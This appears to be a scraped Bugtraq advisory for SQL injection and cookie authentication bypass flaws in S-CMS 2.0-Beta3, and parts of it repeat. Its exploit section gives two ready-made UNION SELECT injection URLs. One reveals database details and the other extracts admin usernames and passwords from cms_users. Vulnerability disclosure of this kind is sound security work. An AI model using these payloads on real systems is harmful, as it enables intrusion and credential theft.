S-CMS SQL Injection and Insecure Cookie Authentication Bypass Vulnerabilities
BID:44426
Info
S-CMS SQL Injection and Insecure Cookie Authentication Bypass Vulnerabilities
| Bugtraq ID: | 44426 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 25 2009 12:00AM |
| Updated: | May 25 2009 12:00AM |
| Credit: | YEnH4ckEr |
| Vulnerable: |
Matteo Iammarrone S-CMS 2.0-Beta3 |
| Not Vulnerable: |
Matteo Iammarrone S-CMS 2.1 |
Discussion
S-CMS SQL Injection and Insecure Cookie Authentication Bypass Vulnerabilities
S-CMS is prone to an SQL-injection vulnerability and an authentication-bypass vulnerability because it fails to adequately verify user-supplied input.
Attackers can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or gain unauthorized access to the affected application and perform unauthorized actions.
S-CMS 2.0 Beta3 is vulnerable. Other versions may also be affected.
S-CMS is prone to an SQL-injection vulnerability and an authentication-bypass vulnerability because it fails to adequately verify user-supplied input.
Attackers can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or gain unauthorized access to the affected application and perform unauthorized actions.
S-CMS 2.0 Beta3 is vulnerable. Other versions may also be affected.
Exploit / POC
S-CMS SQL Injection and Insecure Cookie Authentication Bypass Vulnerabilities
Attackers can exploit these issues through a browser.
The following example URIs and exploit are available:
http://www.example.com/plugin.php?page=your_account&mode=viewprofile&username=-1%27+UNION+ALL+SELECT+1,user(),3,version(),database(),user(),7,8,current_user(),10,11,version(),13,14,15,version(),17,version(),user(),20,21,22%23
http://www.example.com/plugin.php?page=your_account&mode=viewprofile&username=-1%27+UNION+ALL+SELECT+1,username,3,concat(username,0x3A3A3A,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+cms_users+WHERE+uid=1%23
Attackers can exploit these issues through a browser.
The following example URIs and exploit are available:
http://www.example.com/plugin.php?page=your_account&mode=viewprofile&username=-1%27+UNION+ALL+SELECT+1,user(),3,version(),database(),user(),7,8,current_user(),10,11,version(),13,14,15,version(),17,version(),user(),20,21,22%23
http://www.example.com/plugin.php?page=your_account&mode=viewprofile&username=-1%27+UNION+ALL+SELECT+1,username,3,concat(username,0x3A3A3A,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+cms_users+WHERE+uid=1%23
Solution / Fix
S-CMS SQL Injection and Insecure Cookie Authentication Bypass Vulnerabilities
Solution:
Updates are available. Please see the references for details.
Solution:
Updates are available. Please see the references for details.